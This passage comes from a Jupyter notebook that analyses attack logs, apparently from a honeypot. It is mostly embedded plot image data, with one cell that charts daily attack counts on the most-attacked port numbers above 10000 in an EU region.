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\n",
       "text": [
        "<matplotlib.figure.Figure at 0x1096d0550>"
       ]
      }
     ],
     "prompt_number": 42
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Most attacked port numbers > 10000"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('EU Region - Events on port numbers > 10000', fontsize=20)\n",
      "attacker_df['allattackedPorts'] = attacker_df['allattackedPorts'].astype(int)\n",
      "for port in attacker_df['allattackedPorts'].value_counts()[:20].index:\n",
      "        plt.plot(attacker_df[attacker_df == port]['allattackedPorts'].resample(\"D\", how='count'), label=str(port),linewidth=4)\n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.legend(title=\"Port Number\",bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    \n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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h4SIlJaX4D4WIiMqdJEQRv4olIqomrly5Ah8fHwwZMgQ//fRTeYdD1dSBAwcQ\nFBTELTOJiIiIioE1M4io2vjnn38MtpTNysrClClTAKDUayEQEREREZFpsGYGEVUb8+bNw88//4wu\nXbqgdu3auHv3Lvbu3Yvbt2+jZ8+exdq+k4iIiIiIyh+TGURUbQQHB+PcuXPYvXs3kpKSYGFhAW9v\nb0yZMkWenUFERERERBUfa2YQERERERERUaXCmhlEREREREREVKkwmUFERERERERElQqTGURERERE\nRERUqTCZQURERERERESVCpMZRERERERERFSpMJlBRERERERERJUKkxlEREREREREVKkwmUFERERE\nRERElQqTGURERERERERUqTCZQURERERERESVCpMZRERERERERFSpMJlBRERERERERJUKkxlERERE\nREREVKkwmUFERERERERElQqTGURERERERERUqTCZQURERERERESVCpMZRERERERERFSpMJlBRERE\nRERERJUKkxlEREREREREVKkwmUFERERERERElQqTGURERERERERUqZRpMiM/Px/vvPMOvvjiCwDA\nhg0bMG7cOLzzzjt45513cPr0abnvL7/8gsmTJ2PKlCk4e/Zssa4fHR1dKnFT9cUxRabGMUWmxjFF\npsTxRKbGMUWmxjFFOmWazNi1axfc3NwgSRIAQJIkhISEYO7cuZg7dy5atWoFALh16xaioqIQGRmJ\n6dOn4/vvv0d+fv4Tr8+BTabGMUWmxjFFpsYxRabE8USmxjFFpsYxRTpllsxQq9U4ffo0goKCIIQA\nAAgh5L8XdPLkSXTs2BHm5uZwdXVF7dq1cfXq1bIKlYiIiIiIiIgqMPOyutHKlSsxbNgwPHz4UG6T\nJAm//fYbDh06hEaNGmHEiBGwsbFBcnIyvLy85H4uLi5ISkoqq1CJiIiIiIiIqAKThLGpESZ26tQp\nnD59GmPGjEF0dDS2b9+O9957D6mpqbC3twcArF+/HsnJyRg/fjx+/PFHeHl5oVOnTgCApUuXolWr\nVvD399e7bnR0tN40o4EDB5b2WyEiIiIiIqJytGHDBvnvvr6+8PX1Lcdonkyj0UCr1ZZ3GJWSmZkZ\nzM2Nz8Eok5kZMTExckIjLy8PDx8+xKJFizBx4kS5T1BQEObMmQMAcHZ2hlqtlo+p1Wo4OzsbXNfY\n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